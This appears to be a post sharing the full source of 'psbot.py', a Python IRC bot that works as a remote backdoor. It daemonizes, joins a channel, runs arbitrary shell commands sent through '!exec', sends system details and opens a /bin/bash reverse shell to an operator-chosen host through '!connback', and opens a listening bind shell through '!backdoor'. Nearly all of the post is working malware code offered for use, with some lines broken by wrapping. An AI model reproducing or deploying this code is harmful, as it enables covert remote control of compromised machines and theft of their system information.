IRC bot simple here🙂 good guy man😛
!exec
to execute a command and prints the output in the irc root
!connback
to do a connect back and give a shell on :
!backdoor
runs a backdoor where the bot is running
!die
Die!!

#!/usr/bin/env python
##############################
# psbot.py v0.1 (b4tt054y[at]hacker-newbie[dot]org
# irc bot that execute command and output them on a channel
# do a connect back and give a shell
# run a backdoor
##############################

import sys
from socket import *
import string
import os
import time
import popen2
import signal

def daemonize():
    pid = os.fork()
    if(pid != 0):
        os._exit(0)

def main():
    if len(sys.argv) < 5:
        print "Usage:",sys.argv[0]," <host> <port> <nick> <channel>
(password)"
        sys.exit(1)

    HOST = sys.argv[1]
    PORT = int(sys.argv[2])
    NICK = sys.argv[3]
    CHAN = sys.argv[4]
    PASS = ""

    if len(sys.argv) == 6:
        PASS = sys.argv[5]
        print "[+] Connecting to %s@%s:%s (chan:%s pass:%s)" % (NICK, HOST,
PORT, CHAN, PASS)
    else:
        print "[+] Connecting to %s@%s:%s (chan:%s)" % ( NICK, HOST, PORT,
CHAN )

    print "[+] Done.."

    readbuffer = ""

    s = socket( )

    try:
        s.connect((HOST, PORT))
    except:
        print "[-] Couldn't connect to %s:%s" % (HOST, PORT)
        sys.exit(1)

    s.send("NICK %s\r\n" % NICK)
    s.send("USER %s %s bla :%s\r\n" % (NICK , NICK, NICK))

    if len(PASS) != 0:
        s.send("JOIN %s %s\r\n" % (CHAN, PASS))
    else:
        s.send("JOIN %s\r\n" % (CHAN))

    while 1:
        readbuffer=readbuffer+s.recv(1024)
        temp=string.split(readbuffer, "\n")
        readbuffer=temp.pop()
        for line in temp:
            line=string.rstrip(line)
            line=string.split(line)
            try:
                if line[1] == "JOIN":
                    name = str(line[0].split("!")[0])
                    s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "Welcome ",
name.replace(":","") , "!!"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN,
"|------------------------------|"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|
qnix[at]0x80[dot]org |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|       psbot.py
v0.1        |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|    type !help
for help  |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN,
"|------------------------------|"))
                if line[3] == ":!help":
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Displaying
list of commands the bot understands"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !exec
<command>      - execute command"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !connback
<host> <port>  - connback backdoor"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !backdoor
<port>         - backdoor"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !die    -
die!!"))
                if line[3] == ":!exec":
                    temp = []
                    temp2 = []
                    for lines in line:
                        temp.append(lines)
                        if len(temp) > 4:
                            temp2.append(lines)
                    command = ' '.join(temp2)
                    s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "[+] Executing
\"", command, "\""))
                    for line in os.popen(command).readlines():
                        s.send("PRIVMSG %s :%s\r\n" % (CHAN, line))
                if line[3] == ":!connback":
                    if line[4] != "":
                        if line[5] != "":
                            host    = line[4]
                            try:
                                port    = int(line[5])
                            except:
                                s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-]
invalid port number"))
                                break
                            shell    = "/bin/bash"
                            s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN, "[+]
Connback to ", host, port))
                            s2 = socket(AF_INET, SOCK_STREAM)
                            try:
                                s2.connect((socket.gethostbyname(host),
port))
                                s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+]
Done"))

s2.send("########################################################\n")
                                s2.send("############## Psbot Connect-back
Backdoor #############\n")

s2.send("########################################################\n\n")
                                s2.send("UID: %s GID: %s\n" %
(os.getuid(),os.getgid()))
                                s2.send("Process ID: %s\n" % (os.getpid()))
                                s2.send("Current Directory: %s\n" %
(os.getcwd()))
                                for info in os.uname():
                                    s2.send("System information: %s" %
(info))
                                s2.send("\nTime: %s\n\n" %
(time.ctime(time.time())))
                            except:
                                s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN,
"[-] Couldn't connect to ", host, port))
                            os.dup2(s2.fileno(), 0)
                            os.dup2(s2.fileno(), 1)
                            os.dup2(s2.fileno(), 2)
                            os.system(shell)
                if line[3] == ":!backdoor":

                    try:
                        port = int(line[4])
                    except:
                        s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-] Invalid
port"))
                        break

                    s.send("PRIVMSG %s :%s%s\r\n" % (CHAN, "[+] Backdoor on
port ", port))

                    try:
                        s3 = socket(AF_INET,SOCK_STREAM)
                        s3.bind(('', port))
                        s3.listen(5)
                        s.send("PRIVMSG %s: %s\r\n" % (CHAN, "[+] Done!!"))
                    except:
                        s.send("PRIVMSG %s: %s%s\r\n" % (CHAN, "[-] Failed
SockError: ", sys.exc_value))
                        break

                    if os.fork()==0:
                        while 1:
                            connection,addreess=s3.accept()
                            data=connection.recv(1024)
                            if os.fork()==0:
                                while 1:
                                    data=connection.recv(1024)
                                    if not data:break

cmd_res,stdin,stderror=popen2.popen3(data[:-1])
                                    result=cmd_res.read()
                                    error=stderror.read()
                                    if error:
                                        connection.send(error)
                                    for i in range(len(data.split())-1):
                                        if 'cd' in data.split()[i]:
                                            try:

os.chdir(data.split()[i+1].split(';')[0])
                                            except:
                                                error="[-]
Error"+str(sys.exc_value)+"\n"
                                                connection.send(error)
                                    username=os.popen("whoami").read()
                                    adr=os.popen("uname -n").read()
                                    if username[:-1]=='root':
                                        simvol="# "
                                    else:
                                        simvol="> "
                                    path=os.getcwd()
                                    promt='['+username[:-1]+'@'+adr[:-1]+'
'+path+']'+simvol
                                    answer=result+promt
                                    connection.send(answer)
                if line[3] == ":!die":
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Killing
me.."))
                    myproc = popen2.Popen3("")
                    pgid = os.getpgid(myproc.pid)
                    os.killpg(pgid, signal.SIGKILL)
            except(IndexError):
                pass

            if(line[0]=="PING"):
                s.send("PONG %s\r\n" % line[1])

if __name__ == "__main__":
    daemonize()
    main()

-- 

http://0x80.org/